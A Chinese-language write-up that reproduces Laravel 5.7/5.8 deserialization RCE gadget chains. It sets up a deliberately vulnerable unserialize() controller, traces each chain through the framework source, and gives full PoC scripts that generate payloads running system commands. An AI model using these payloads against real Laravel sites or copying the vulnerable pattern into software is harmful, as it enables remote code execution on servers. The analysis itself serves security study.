5.8.x 漏洞复现
环境配置 写一个DemoController控制器 //DemoController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace App \Http \Controllers ;class DemoController extends Controller { public function demo ( ) { if (isset ($_GET ['c' ])){ $code = $_GET ['c' ]; unserialize ($code ); } else { highlight_file (__FILE__ ); } return "Welcome to laravel5.8" ; } }
然后在routes/web.php下添加路由
1 Route ::get ("/demo" ,"\App\Http\Controllers\DemoController@demo" );
漏洞分析 全局搜索排查__destruct()
方法,找到Illuminate\Broadcasting\PendingBroadcast::__destruct()
1 2 3 4 public function __destruct ( ) { $this ->events->dispatch ($this ->event); }
因为events
和event
的值是可控的
1 2 3 4 5 public function __construct (Dispatcher $events , $event ) { $this ->event = $event ; $this ->events = $events ; }
所以通过控制events
参数可以调用任意类的dispatch()
方法,所以先寻找可以利用的该方法,发现Illuminate\Bus\Dispatcher::dispatch()
可利用
1 2 3 4 5 6 7 8 public function dispatch ($command ) { if ($this ->queueResolver && $this ->commandShouldBeQueued ($command )) { return $this ->dispatchToQueue ($command ); } return $this ->dispatchNow ($command ); }
在dispatchToQueue()
方法里面有call_user_func()
函数,我们来看一看方法内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function dispatchToQueue ($command ) { $connection = $command ->connection ?? null ; $queue = call_user_func ($this ->queueResolver, $connection ); if (! $queue instanceof Queue) { throw new RuntimeException ('Queue resolver did not return a Queue implementation.' ); } if (method_exists ($command , 'queue' )) { return $command ->queue ($queue , $command ); } return $this ->pushCommandToQueue ($queue , $command ); }
要想执行到这个方法那么就需要通过if
判断,首先有$this->queueResolver
的值,这个是我们可控的,给它赋值了就行了
1 2 3 4 5 6 public function __construct (Container $container , Closure $queueResolver = null ) { $this ->container = $container ; $this ->queueResolver = $queueResolver ; $this ->pipeline = new Pipeline ($container ); }
第二个判断是$this->commandShouldBeQueued($command)
,跟进一下commandShouldBeQueued()
方法
1 2 3 4 protected function commandShouldBeQueued ($command ) { return $command instanceof ShouldQueue; }
该方法中要返回真,只需要让$command
,也即PendingBroadcast
类中的$this->event
是一个继承于ShouldQueue
接口的类即可。
可以利用find usage
找一个继承ShouldQueue
接口的类,例如BroadcastEvent
类: 至此POP链构造完成,可以实现调用任意方法 总结一下涉及到的类和接口:
1、Illuminate\Broadcasting\PendingBroadcast对应的方法为__destruct()
2、Illuminate\Bus\Dispatcher对应的方法为dispatch()
3、Illuminate\Broadcasting\BroadcastEvent用于继承ShouldQueue接口
涉及到的变量:
1、 PendingBroadcast类中的event和events,前者用于继承ShouldQueue接口,后者用于实例化一个Dispatcher对象。
2、Dispatcher类中的queueResolver,用于想要执行的函数名。
3、BroadcastEvent类新创建一个变量connection,用于想要执行函数的参数
POC代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event ; public function __construct ($events ="" ,$event ="" ) { $this ->events = $events ; $this ->event = $event ; } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver = "system "; } } namespace Illuminate \Broadcasting { class BroadcastEvent { public $connection = "whoami "; } } namespace { $d = new Illuminate \Bus \Dispatcher (); $b = new Illuminate\Broadcasting\BroadcastEvent (); $p = new Illuminate\Broadcasting\PendingBroadcast ($d ,$b ); echo urlencode (serialize ($p )); } ?>
5.7.x 漏洞复现
漏洞分析 这里首先来认识几个属性
1 2 3 4 public $test ; protected $app ; protected $command ; protected $parameters ;
通过__destruct()方法进入run()方法
1 2 3 4 5 6 7 8 public function __destruct ( ) { if ($this ->hasExecuted) { return ; } $this ->run (); }
跟进run()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function run ( ) { $this ->hasExecuted = true ; $this ->mockConsoleOutput (); try { $exitCode = $this ->app[Kernel ::class ]->call ($this ->command, $this ->parameters); } catch (NoMatchingExpectationException $e ) { if ($e ->getMethodName () === 'askQuestion' ) { $this ->test->fail ('Unexpected question "' .$e ->getActualArguments ()[0 ]->getQuestion ().'" was asked.' ); } throw $e ; }
我们看到call()方法的两个参数都是用户可控的,首先得经过mockConsoleOutput()方法,跟进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected function mockConsoleOutput ( ) { $mock = Mockery ::mock (OutputStyle ::class .'[askQuestion]' , [ (new ArrayInput ($this ->parameters)), $this ->createABufferedOutputMock (), ]); foreach ($this ->test->expectedQuestions as $i => $question ) { $mock ->shouldReceive ('askQuestion' ) ->once () ->ordered () ->with (Mockery ::on (function ($argument ) use ($question ) { return $argument ->getQuestion () == $question [0 ]; })) ->andReturnUsing (function () use ($question , $i ) { unset ($this ->test ->expectedQuestions [$i ]); return $question [1 ]; }); } $this ->app->bind (OutputStyle ::class , function () use ($mock ) { return $mock ; }); }
我们先单步调试,发现可以成功执行Mockery::mock
那一截代码到foreach循环,这里调用$this->test
对象的expectedQuestions
属性且应该为一个数组,但是该类并不存在expectedOutput
属性,经过分析代码,我们发现这里只要能够返回一个数组代码就可以顺利进行下去
因此我们全文搜索__get()
方法,让__get()
方法返回我们想要的数组就可以了,这里我选择DefaultGenerator.php
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } public function __get ($attribute ) { return $this ->default ; } ...... }
我们对DefaultGenerator
类进行实例化并传入数组array('hello'=>'ghtwf01')
,打断点进行调试可以看到代码顺利执行下去了,这个时候POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php namespace Illuminate \Foundation \Testing { class PendingCommand { protected $command ; protected $parameters ; public $test ; protected $app ; public function __construct ($test , $app , $command , $parameters ) { $this ->app = $app ; $this ->test = $test ; $this ->command = $command ; $this ->parameters = $parameters ; } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace Illuminate \Foundation { class Application { public function __construct ($instances = []){} } } namespace { $defaultgenerator = new Faker \DefaultGenerator (array ("hello "=>"ghtwf01 ")); $application = new Illuminate\Foundation\Application (); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand ($defaultgenerator ,$application ,"system" ,array ("id" )); echo urlencode (serialize ($pendingcommand )); }
接下来离开mockConsoleOutput()方法方法回到run()方法执行$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
,如果使用上面的POC单步调试这一步会报错,其中Kernel::class
为固定值:"Illuminate\Contracts\Console\Kernel"
,跟进进入offsetGet()
方法
1 2 3 4 public function offsetGet ($key ) { return $this ->make ($key ); }
跟进make()
方法
1 2 3 4 5 6 7 8 9 10 public function make ($abstract , array $parameters = [] ) { $abstract = $this ->getAlias ($abstract ); if (isset ($this ->deferredServices[$abstract ]) && ! isset ($this ->instances[$abstract ])) { $this ->loadDeferredProvider ($abstract ); } return parent ::make ($abstract , $parameters ); }
跟进父类的make()
方法
1 2 3 4 public function make ($abstract , array $parameters = [] ) { return $this ->resolve ($abstract , $parameters ); }
跟进resolve()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected function resolve ($abstract , $parameters = [] ) { $abstract = $this ->getAlias ($abstract ); $needsContextualBuild = ! empty ($parameters ) || ! is_null ( $this ->getContextualConcrete ($abstract ) ); if (isset ($this ->instances[$abstract ]) && ! $needsContextualBuild ) { return $this ->instances[$abstract ]; } ......
根据我们上面的POC调试可以看到$this->instances
这个数组是空数组,那么$this->instances[$abstract]
就不存在而导致后面抛出异常。
跟着我们最终的POC看,return $this->instances[$abstract];
=$this->instances["Illuminate\Contracts\Console\Kernel"]
也就是返回了Illuminate\Foundation\Application
对象,为什么要用这个对象?因为Illuminate\Foundation\Application
类继承了 Illuminate\Container\Container
类的call()
方法
接着调用call()
方法
1 2 3 4 public function call ($callback , array $parameters = [], $defaultMethod = null ) { return BoundMethod ::call ($this , $callback , $parameters , $defaultMethod ); }
这里$callback = “system”,$parameters[0] = “id”,调用BoundMethod的call()静态方法
1 2 3 4 5 6 7 8 9 10 11 12 public static function call ($container , $callback , array $parameters = [], $defaultMethod = null ) { if (static ::isCallableWithAtSign ($callback ) || $defaultMethod ) { return static ::callClass ($container , $callback , $parameters , $defaultMethod ); } return static ::callBoundMethod ($container , $callback , function () use ($container , $callback , $parameters ) { return call_user_func_array ( $callback , static ::getMethodDependencies ($container , $callback , $parameters ) ); }); }
跟进isCallableWithAtSign()方法
1 2 3 4 protected static function isCallableWithAtSign ($callback ) { return is_string ($callback ) && strpos ($callback , '@' ) !== false ; }
作用只是判断确定给定的字符串是否使用Class@method
语法
接着跟进callBoundMethod()
函数,可以发现它的作用只是判断$callback
是否为数组
1 2 3 4 5 6 protected static function callBoundMethod ($container , $callback , $default ) { if (! is_array ($callback )) { return $default instanceof Closure ? $default () : $default ; } ......
继续跟进下面的匿名函数
1 2 3 4 5 function ( ) use ($container , $callback , $parameters ) { return call_user_func_array ( $callback , static ::getMethodDependencies ($container , $callback , $parameters ) ); }
call_user_func_array()
里面第一个参数是我们可控的值为system
,第二个参数是通过getMethodDependencies()
方法得来的,跟进一下
1 2 3 4 5 6 7 8 9 10 protected static function getMethodDependencies ($container , $callback , array $parameters = [] ) { $dependencies = []; foreach (static ::getCallReflector ($callback )->getParameters () as $parameter ) { static ::addDependencyForCallParameter ($container , $parameter , $parameters , $dependencies ); } return array_merge ($dependencies , $parameters ); }
也就是将数组$dependencies
和数组$parameters
合并,因为$dependencies
数组为空,所以最后返回的值也就是$parameters
,值为id
,所以最后就执行了call_user_func_array()
最终POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php namespace Illuminate \Foundation \Testing { class PendingCommand { protected $command ; protected $parameters ; public $test ; protected $app ; public function __construct ($test , $app , $command , $parameters ) { $this ->app = $app ; $this ->test = $test ; $this ->command = $command ; $this ->parameters = $parameters ; } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace Illuminate \Foundation { class Application { protected $instances = []; public function __construct ($instances = [] ) { $this ->instances['Illuminate\Contracts\Console\Kernel' ] = $instances ; } } } namespace { $defaultgenerator = new Faker \DefaultGenerator (array ("hello "=>"ghtwf01 ")); $app = new Illuminate\Foundation\Application (); $application = new Illuminate\Foundation\Application ($app ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand ($defaultgenerator ,$application ,"system" ,array ("id" )); echo urlencode (serialize ($pendingcommand )); }